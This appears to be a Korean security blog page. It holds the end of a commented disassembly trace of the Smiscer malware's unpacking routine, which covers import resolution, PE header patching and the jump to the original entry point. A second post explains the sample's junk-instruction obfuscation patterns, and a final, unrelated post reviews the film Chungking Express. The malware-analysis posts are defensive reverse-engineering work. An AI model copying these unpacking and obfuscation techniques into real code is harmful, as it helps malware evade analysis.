; ESI = [0x306A2F4C] = 0x000330B4 = ImportDirectoryTable->ImportNameTableRVA
00166A72    8B36            MOV     ESI, DWORD PTR DS:[ESI]
00163B99    0375 24         ADD     ESI, DWORD PTR SS:[EBP+24]
00166DBF  ^\E9 26E6FFFF     JMP     001653EA
00166747    8BF7            MOV     ESI, EDI
001653EA    53              PUSH    EBX
; kernel32.LoadLibraryA
00164144    FF55 04         CALL    DWORD PTR SS:[EBP+4]
; ntdll.7C930000
001667A8    8BD8            MOV     EBX, EAX
; DS:[ESI] = [0x306A30B4] = 0x000336A8 = ImportNameTable
00166DD9    AD              LODS    DWORD PTR DS:[ESI]
; Ordinal 일 경우
00166CFA    A9 00000080     TEST    EAX, 80000000
001665FF  ^\0F85 E0DFFFFF   JNZ     001645E5
00162D41    0345 24         ADD     EAX, DWORD PTR SS:[EBP+24]
; ImportName
00164EC9    83C0 02         ADD     EAX, 2
00165069  ^\E9 08E4FFFF     JMP     00163476
001645E5    2D 00000080     SUB     EAX, 80000000
00163476    50              PUSH    EAX
0016386C    53              PUSH    EBX
; kernel32.GetProcAddress()
001651F2    FF55 08         CALL    DWORD PTR SS:[EBP+8]
; Function Address 저장
00164345    AB              STOS    DWORD PTR ES:[EDI]
00163A05    F707 FFFFFFFF   TEST    DWORD PTR DS:[EDI], FFFFFFFF
00164487   /0F85 4C290000   JNZ     00166DD9
001655D0    5E              POP     ESI
; 다음 ImportDirectoryTable
00162A8A    83C6 14         ADD     ESI, 14
001663C8  ^\E9 CCF3FFFF     JMP     00165799
;; PE 헤더 보정
00162C22    8B7D 24         MOV     EDI, DWORD PTR SS:[EBP+24]
001655E8    037F 3C         ADD     EDI, DWORD PTR DS:[EDI+3C]
; EDI = 0x000016EA = AddressOfEntryPoint
00164566    8B7F 28         MOV     EDI, DWORD PTR DS:[EDI+28]
0016561B    037D 24         ADD     EDI, DWORD PTR SS:[EBP+24]
0016393A    5E              POP     ESI
001634F1    60              PUSHAD
; ESI = 0x00188940
00165F5C    8B75 18         MOV     ESI, DWORD PTR SS:[EBP+18]
00163FBE    8B7D 24         MOV     EDI, DWORD PTR SS:[EBP+24]
00162FD1    0376 3C         ADD     ESI, DWORD PTR DS:[ESI+3C]
00166CCA    037F 3C         ADD     EDI, DWORD PTR DS:[EDI+3C]
; IMAGE_FILE_HEADER->Characteristics
00163E12    66:8B4E 16      MOV     CX, WORD PTR DS:[ESI+16]
00164453    66:894F 16      MOV     WORD PTR DS:[EDI+16], CX
00166C33    61              POPAD
00163ED9    60              PUSHAD
00165CCE    8B4D 24         MOV     ECX, DWORD PTR SS:[EBP+24]
00163854    8B41 3C         MOV     EAX, DWORD PTR DS:[ECX+3C]
; PeHeader->CheckSum
001654A2    8D4401 58       LEA     EAX, DWORD PTR DS:[ECX+EAX+58]
001640E0    C700 28000000   MOV     DWORD PTR DS:[EAX], 28
00163EF1    64:A1 30000000  MOV     EAX, DWORD PTR FS:[30]
00166368    8B40 0C         MOV     EAX, DWORD PTR DS:[EAX+C]
001660DC    8B40 14         MOV     EAX, DWORD PTR DS:[EAX+14]
001639A1    52              PUSH    EDX
001666E0    5A              POP     EDX
00165B7A    50              PUSH    EAX
00164D50    3948 10         CMP     DWORD PTR DS:[EAX+10], ECX
00166AED    8B00            MOV     EAX, DWORD PTR DS:[EAX]
00164E94   /0F85 46180000   JNZ     001666E0
00163ABA    58              POP     EAX
0016446E    8BD1            MOV     EDX, ECX
;; Unpack한 이미지의 AddressOfEntryPoint로 JMP
; EDX = 0x306700E8
001667C1    0352 3C         ADD     EDX, DWORD PTR DS:[EDX+3C]
; ECX = 0x000016EA = AddressOfEntryPoint
00166157    034A 28         ADD     ECX, DWORD PTR DS:[EDX+28]
001665B3    8948 14         MOV     DWORD PTR DS:[EAX+14], ECX
00164041    61              POPAD
001637F1    8B45 14         MOV     EAX, DWORD PTR SS:[EBP+14]
00163033    894424 44       MOV     DWORD PTR SS:[ESP+44], EAX
00165CB4    8B45 28         MOV     EAX, DWORD PTR SS:[EBP+28]
00166092    894424 40       MOV     DWORD PTR SS:[ESP+40], EAX
00164BA6    83C4 2C         ADD     ESP, 2C
00163F8A    897C24 1C       MOV     DWORD PTR SS:[ESP+1C], EDI
0016363D    61              POPAD
001638D6    8BC8            MOV     ECX, EAX
001665CD    9D              POPFD
0016373A    83C4 04         ADD     ESP, 4
00163BF9    C9              LEAVE
00166DA6    83C4 18         ADD     ESP, 18
001661D2    5B              POP     EBX
0016337D    5F              POP     EDI
00164CBE    5E              POP     ESI
001652A6    C9              LEAVE
001650B7    51              PUSH    ECX
;; 0x306716EA로 JMP Unpack 완료!!
0016516D    C3              RETN

저작자 표시 비영리 동일 조건 변경 허락
크리에이티브 커먼즈 라이선스
Creative Commons License

설정

트랙백

댓글

Smiscer - #2.실행압축해제.난독화B

상세분석 2012/03/15 01:29

* 의미 없는 연산을 반복적으로 수행하여 분석을 방해한다.

- 난독화 타입 1

API 이용한 Anti-Debugging 회피하여 들어오면 처음 보이는 코드의 위치 0x3068045B



라인 하나씩 확인 하면

MOV EAX, 3066FFFF ; EAX 0x3066FFFF 넣는다.

PUSHFD ; 스택에 Flag Register 저장한다.

OR BYTE PTR SS:[ESP], 1 ; Stack 위에 저장되어 있는 값의 번째 비트를 1 바꾼다. 위의 PUSHFD 명령어를 통해 스택의 위에는 Flag Register 값이 저장되어 있으며, 번째 비트는 Carry Flag 이다.

POPFD ; 스택의 위에 저장되어 있는 값을 Flag Register 넣는다. 위의 OR 명령어를 통해 Carry Flag 값은 무조건 1 된다.

NOP ; No Operation

JB ; Carry Flag 값이 1 경우 분기, 위 코드에서는 Carry Flag가 1이므로 무조건 분기가 된다.


첫 번째 바이트만 유효 명령어가 되며, 나머지 5개의 명령어는 단지 JB 분기를 위해서만 존재한다.

- 난독화 타입 2

두 번째 타입 또한 위와 동일하게 맨 위에 유효 명령어 한 개와 분기를 위한 명령어가 존재한다.


라인을 하나씩 확인 하면

INC EAX ; EAX값을 1 증가.
PUSH EAX
스택에 EAX 값을 넣는다.
LEA EAX, DWORD PTR DS:[30683B13] ; EAX
0x30683B13 넣는다.
XCHG DWORD PTR SS:[ESP], EAX
스택의 상단에 있는 값과 EAX 값을 교환한다. 스택의 끝에 0x30683B13 저장되며, EAX값은 PUSH EAX 하였던 값으로 돌아오게 된다.
RETN
스택 최상단에 저장되어 있는 위치로 분기하게 된다. 0x30683B13으로 분기


위 또한 첫 번째 바이트만 유효 명령어가 되며, 나머지 4개 명령어는 단지 분기를 위해서만 존재한다.

- 난독화 타입 3

세 번째 타입 또한 첫 번째 명령어만 유효 명령어가 된다.


라인을 하나씩 확인 해 보면

PUSH 0 ; 스택에 0 넣는다.
XCHG EDX, EDX
의미 없는 연산
PREFIX REPNE:
PREFIX REP:
JMP 30681632 ; 
앞에 개의 prefix 함께 동작한다. JMP 붙은 PREFIX REP이기에 의미 없이 그냥 JMP 명령만 수행하는 것으로 있다.



저작자 표시 비영리 동일 조건 변경 허락
크리에이티브 커먼즈 라이선스
Creative Commons License

설정

트랙백

댓글

[영화] 중경삼림 (重慶森林, Chungking Express)

책... 그리고 영화 2012/03/12 00:38

1994년, 왕가위 감독.

지금으로부터 18년전에 만들어진, 그러나 지금봐도 너무나 좋은 영화.
요즘에는 이러한 영화가 좋다.
뭔가 잔잔하고 즐겁게 행복한 그러한 영화.

그래서 요즘 저 시절 홍콩영화가 이렇게 땡기나 보다.

이 영화에서 가장 유명한 대사는
"사랑에도 유통기한이 있다면, 나는 천년만년으로 하고 싶다"
너무 애절한 그 대사.

내가 가장 좋아하는 장면은 왕정문이 양조위를 바라보는 그 장면.


(아.... 양조위의 저 눈빛.. 멋있어.. 둑은 둑근.. ㅠ_ ㅠ)

영화 내용은 두 개의 이야기로 구성이 되어 있다.
임청화와 금성무가 나오는 첫 번째 이야기.
 - 실연 당한 경찰 223 금성무와 바에서 만난 노랑머리 마약밀매 중계자의 임청하. 이 이야기는 실연에 대한 이야기.
양조위와 왕정문이 나오는 두 번째 이야기.
 - 실연 당한 경찰 633 양조위와 샐러드가게 점원 왕정문의 이야기. 이 이야기는 새로운 사랑의 시작에 대한 이야기. ( 그런대 지금 생각해보면 왕정문은 스토커.... )

두 이야기를 통과하는 주제는 "실연으로 인한 커다란 구멍은 다음 사랑을 위한 자리..."

OST인 "Dream Lover(몽중인)과 California Dreamin" 은 들을 때 마다 너무 좋다.
http://www.youtube.com/watch?v=iM9o600RhWY&feature=player_embedded#! 

홍콩여행 갔을 때, 아무 생각없이 급히 갔던게 지금 생각해 보면 너무 아쉽다.
다음에 다시 갈 때는, 꼭 홍콩영화에 나왔던 그 장소들을 두 눈으로 다시 확인해 보리라.!

언젠가 꼭 또 다시 찾아 다시 볼 것 같은 영화..

저작자 표시 비영리 동일 조건 변경 허락
크리에이티브 커먼즈 라이선스
Creative Commons License

'책... 그리고 영화' 카테고리의 다른 글

[영화] 중경삼림 (重慶森林, Chungking Express)  (0) 2012/03/12
[책]닥치고 정치  (2) 2012/01/31
[책] 운명이다  (0) 2010/10/08
[책] 그대 언제 이 숲에 오시렵니까  (0) 2010/08/26
[책] 바람의 노래를 들어라  (0) 2009/01/02
[책] 텐텐  (0) 2008/12/18

설정

트랙백

댓글

1 2 3 4 5 ... 10